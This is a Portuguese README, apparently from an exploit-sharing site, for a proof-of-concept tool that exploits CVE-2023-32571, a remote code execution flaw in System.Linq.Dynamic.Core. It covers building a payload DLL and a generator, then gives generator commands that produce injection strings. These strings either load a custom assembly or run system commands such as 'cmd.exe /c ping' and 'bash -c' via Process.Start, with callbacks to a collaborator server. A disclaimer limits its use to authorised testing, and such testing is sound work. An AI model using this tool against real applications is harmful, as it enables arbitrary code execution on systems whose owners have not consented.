🐞 CVE-2023-32571 - Execução Remota de Código no System.Linq.Dynamic.Core

Prova de Conceito para CVE-2023-32571, uma vulnerabilidade de execução remota de código no System.Linq.Dynamic.Core (1.0.7.10 a 1.2.25). Esta vulnerabilidade permite que atacantes executem código e comandos arbitrários quando entrada não confiável é analisada por métodos incluindo Where, Select, OrderBy.

⚠️ Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de teste autorizados. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. Os desenvolvedores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou dano causado por este programa.

🎯 Pré-requisitos

• .NET 9.0 SDK ou posterior
• Aplicação alvo usando versão vulnerável do System.Linq.Dynamic.Core (1.0.7.10 a 1.2.25)
• Um servidor colaborador (ex.: Burp Collaborator, Interactsh) para observar callbacks

🛠️ Compilando o Projeto

1. Compile o projeto:
   root@kitploit:~

   dotnet build --configuration Release
   

   A compilação produzirá
   • DLL do Payload em Payload/bin/Release/netstandard2.0/Payload.dll
   • Gerador de Payload em Generator/bin/Release/net9.0/Generator.dll

🚀 Uso

Modos

A ferramenta suporta dois modos:

1. AssemblyLoad (Modo 0): Carregar e executar um assembly .NET personalizado
2. ProcessStart (Modo 1): Executar comandos do sistema diretamente via Process.Start

Modo 0: AssemblyLoad (Padrão)

# Usando codificação Base64
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Usando codificação Hex
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# Usando codificação Base64
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Usando codificação Hex
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

Modo 1: ProcessStart (Execução Direta de Comandos)

# Execução de comando no Windows
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Execução de comando no Linux
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ Parâmetros

• --mode: Modo de exploração (0=AssemblyLoad, 1=ProcessStart)
• --file: Caminho para o assembly .NET a ser carregado (obrigatório no modo AssemblyLoad)
• --type: Nome de tipo totalmente qualificado para instanciar (obrigatório no modo AssemblyLoad)
• --parameters: Parâmetros baseados no modo:
  • AssemblyLoad: Parâmetros do construtor (separados por vírgula)
  • ProcessStart: Comando para executar (ex.: 'cmd.exe /c whoami' ou 'bash -c whoami')
• --encoding: Método de codificação para o modo AssemblyLoad (0=Hex, 1=Base64)

📚 Referências

• NIST NVD
• NCCGROUP Advisory
• System.Linq.Dynamic.Core GitHub Repository